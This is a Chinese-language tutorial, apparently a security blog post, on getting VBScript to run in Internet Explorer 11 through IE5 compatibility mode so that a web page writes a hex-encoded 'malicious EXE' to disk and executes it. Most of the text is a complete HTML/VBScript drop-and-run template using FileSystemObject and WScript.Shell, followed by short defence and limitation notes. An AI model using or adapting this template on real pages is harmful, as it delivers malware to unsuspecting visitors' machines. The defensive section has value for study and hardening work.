基于VBSCRIPT下16进制木马的IE浏览器BYPASS
字数 667 2025-08-25 22:58:20
基于VBScript的16进制木马在IE浏览器中的绕过技术
技术背景
微软在Internet Explorer 11中出于安全考虑禁用了VBScript执行功能(参考:微软官方博客)。然而,通过特定的兼容性设置,仍然可以在IE11中执行VBScript代码。
技术原理
-
IE5兼容模式:通过在HTML头部添加
<meta http-equiv="x-ua-compatible" content="IE=5">,强制浏览器使用IE5的渲染和脚本引擎 -
VBScript.Encode:使用
<script language="VBScript.Encode">标签调用旧版VBScript编码器
实现步骤
1. 准备阶段
将恶意EXE文件转换为16进制字符串格式,并去除中间空格:
w = "16hex of exe data"
2. 文件系统操作
' 创建文件系统对象
Set objFSO = CreateObject("Scripting.FileSystemObject")
' 创建文本文件
Dim objTextFile
Set objTextFile = objFSO.CreateTextFile("d:\Testfile.exe")
3. 16进制转换与写入
' 每两个16进制数字转换为一个字符并写入文件
For i = 1 To Len(w) Step 2
objTextFile.Write Chr(CLng("&H" & Mid(w,i,2)))
Next
objTextFile.close
4. 执行恶意程序
' 创建Shell对象并执行生成的EXE文件
Set WS= CreateObject("WScript.Shell")
WS.Run "d:/Testfile.exe"
完整代码模板
<html>
<meta http-equiv="x-ua-compatible" content="IE=5">
<body>
<script language="VBScript.Encode">
Dim w
w = "16hex of exe data"
Dim objFSO
Set objFSO = CreateObject("Scripting.FileSystemObject")
Dim objTextFile
Set objTextFile = objFSO.CreateTextFile("d:\Testfile.exe")
For i = 1 To Len(w) Step 2
objTextFile.Write Chr(CLng("&H" & Mid(w,i,2)))
Next
objTextFile.close
Set WS= CreateObject("WScript.Shell")
WS.Run "d:/Testfile.exe"
</script>
<p>This is web page body </p>
</body>
</html>
注意事项
- 此技术仅适用于Internet Explorer浏览器
- 需要用户允许ActiveX控件执行
- 实际测试中发现并非所有恶意样本都能成功执行(如评论中提到CS生成的样本可能无法执行)
- 演示视频参考:优酷视频 密码: microsoft123
防御措施
- 禁用IE浏览器的ActiveX控件
- 更新到最新版Edge浏览器
- 设置组策略禁止使用兼容模式
- 监控和限制WScript.Shell和FileSystemObject对象的创建
技术限制
- 依赖用户交互和权限设置
- 现代浏览器和操作系统安全机制已大幅削弱此类攻击的有效性
- 需要精确的16进制转换和文件写入操作